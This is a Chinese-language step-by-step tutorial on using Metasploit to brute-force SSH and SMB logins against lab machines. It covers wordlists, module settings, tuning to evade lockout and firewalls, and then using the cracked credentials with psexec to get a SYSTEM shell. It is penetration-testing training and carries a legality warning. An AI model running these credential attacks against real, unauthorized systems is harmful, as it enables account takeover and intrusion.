如何使用Metasploit进行暴力破解的详细步骤
使用 Metasploit 进行暴力破解的核心是利用其内置的 auxiliary/scanner 模块,通过字典攻击获取目标服务的登录凭证。以下是 分步骤的详细操作指南,以最常用的 SSH 服务 和 SMB 服务 为例,覆盖从环境准备到结果利用的全流程:
一、前期准备
1. 启动 Metasploit 并初始化数据库(推荐)
数据库可自动保存破解结果,方便后续调用:
bash
运行
# 启动 PostgreSQL 数据库服务(Kali 默认预装)
sudo service postgresql start# 初始化 Metasploit 数据库(首次使用需执行,后续无需)
sudo msfdb init# 启动 Metasploit 控制台
msfconsole
2. 准备字典文件
暴力破解依赖用户名字典和密码字典,推荐使用 Kali 自带字典:
- 用户名字典:Linux 系统:
/usr/share/wordlists/metasploit/unix_users.txtWindows 系统:/usr/share/wordlists/metasploit/windows_users.txt - 密码字典:解压
rockyou.txt(包含海量弱密码):bash
运行
# 在 Kali 终端执行(无需进入 msfconsole) gunzip /usr/share/wordlists/rockyou.txt.gz # 解压后路径:/usr/share/wordlists/rockyou.txt - 自定义字典:若已知目标特征(如设备型号、用户名格式),可手动创建
user.txt或pass.txt(每行一个条目)。
二、暴力破解实战(以 SSH 服务为例)
目标:破解 192.168.1.5 的 SSH 服务(如 Metasploitable 靶机)。
步骤 1:查找并加载 SSH 暴力破解模块
Metasploit 的暴力破解模块集中在 auxiliary/scanner 目录下:
bash
运行
# 在 msfconsole 中搜索 SSH 暴力破解模块
search type:auxiliary name:ssh_login# 加载模块(通常第一个结果即为目标模块)
use auxiliary/scanner/ssh/ssh_login
步骤 2:查看并配置模块参数
通过 show options 查看必填参数,重点配置以下内容:
bash
运行
# 查看参数列表
show options# 配置目标 IP(必填)
set RHOSTS 192.168.1.5# 配置用户名字典路径(必填)
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt# 配置密码字典路径(必填)
set PASS_FILE /usr/share/wordlists/rockyou.txt# 配置并发线程数(默认 1,建议 5-10,过高可能被拦截)
set THREADS 5# 开启详细输出(可选,实时查看破解过程)
set VERBOSE true# 配置超时时间(可选,默认 30 秒,网络慢可加大)
set TIMEOUT 60
步骤 3:执行暴力破解
bash
运行
# 启动破解(run 或 exploit 均可)
run
步骤 4:查看破解结果
- 破解成功时,控制台会实时显示凭证:
plaintext
[+] 192.168.1.5:22 - Success: 'msfadmin:msfadmin' - 若启用了数据库,可通过
creds命令查看所有保存的凭证:bash
运行
creds # 列出所有已获取的用户名和密码
三、暴力破解实战(以 SMB 服务为例)
目标:破解 192.168.1.4 的 SMB 服务(Windows 靶机)。
步骤 1:查找并加载 SMB 暴力破解模块
bash
运行
# 搜索 SMB 暴力破解模块
search type:auxiliary name:smb_login# 加载模块
use auxiliary/scanner/smb/smb_login
步骤 2:配置模块参数
SMB 服务对并发连接较敏感,线程数需降低:
bash
运行
# 配置目标 IP
set RHOSTS 192.168.1.4# 配置 Windows 用户名字典
set USER_FILE /usr/share/wordlists/metasploit/windows_users.txt# 配置密码字典
set PASS_FILE /usr/share/wordlists/rockyou.txt# 线程数设为 3(Windows 防火墙可能拦截高线程)
set THREADS 3# 开启详细输出
set VERBOSE true
步骤 3:执行破解并查看结果
bash
运行
run # 启动破解# 成功结果示例:
# [+] 192.168.1.4:445 - Success: 'Administrator:123456' (Domain: WORKGROUP)
四、结果利用(破解成功后操作)
Metasploit 的优势在于破解结果可直接用于后续渗透,无需手动记录:
1. 使用 SSH 凭证登录目标
bash
运行
# 加载 SSH 登录模块
use auxiliary/admin/ssh/ssh_login# 自动读取数据库中的凭证(无需手动输入)
set RHOSTS 192.168.1.5
run# 成功后获取交互式 Shell
2. 使用 SMB 凭证获取 Windows 权限
bash
运行
# 加载 psexec 模块(通过 SMB 凭证执行命令)
use exploit/windows/smb/psexec# 自动关联数据库中的 SMB 凭证
set RHOSTS 192.168.1.4
run# 成功后获取 SYSTEM 权限的 Meterpreter Shell
五、关键参数与高级技巧
| 参数 | 作用 | 示例 |
|---|---|---|
STOP_ON_SUCCESS | 破解成功后立即停止(节省时间) | set STOP_ON_SUCCESS true |
USERNAME | 指定单个用户名(已知用户名时用,替代 USER_FILE) | set USERNAME msfadmin |
PASSWORD | 指定单个密码(已知密码时用,替代 PASS_FILE) | set PASSWORD 123456 |
BLANK_PASSWORDS | 尝试空密码登录 | set BLANK_PASSWORDS true |
DB_ALL_CREDS | 使用数据库中已有的凭证进行测试 | set DB_ALL_CREDS true |
六、注意事项
线程控制:
- Linux 服务(SSH、FTP):线程可设为 5-10。
- Windows 服务(SMB、RDP):线程建议 2-3(避免触发防火墙或账号锁定)。
账号锁定风险:部分系统(如企业级 Windows)有登录失败锁定机制(如 5 次失败后锁定 15 分钟),建议先用小字典(前 100 条弱密码)测试。
合法性:必须在 授权的测试环境 中操作,禁止对未授权目标进行暴力破解(违反《网络安全法》)。
字典优化:优先使用与目标匹配的字典(如针对路由器用默认凭证字典,针对企业用常见员工名 + 生日组合字典)。
总结步骤
- 启动 Metasploit 并初始化数据库 → 2. 准备用户名字典和密码字典 → 3.
search查找对应服务的login模块 → 4.use加载模块 → 5.set配置目标、字典、线程等参数 → 6.run执行破解 → 7. 用creds查看结果并直接利用。
通过以上步骤,可熟练掌握 Metasploit 暴力破解的核心流程,尤其适合在渗透测试中快速获取目标凭证并推进后续攻击。
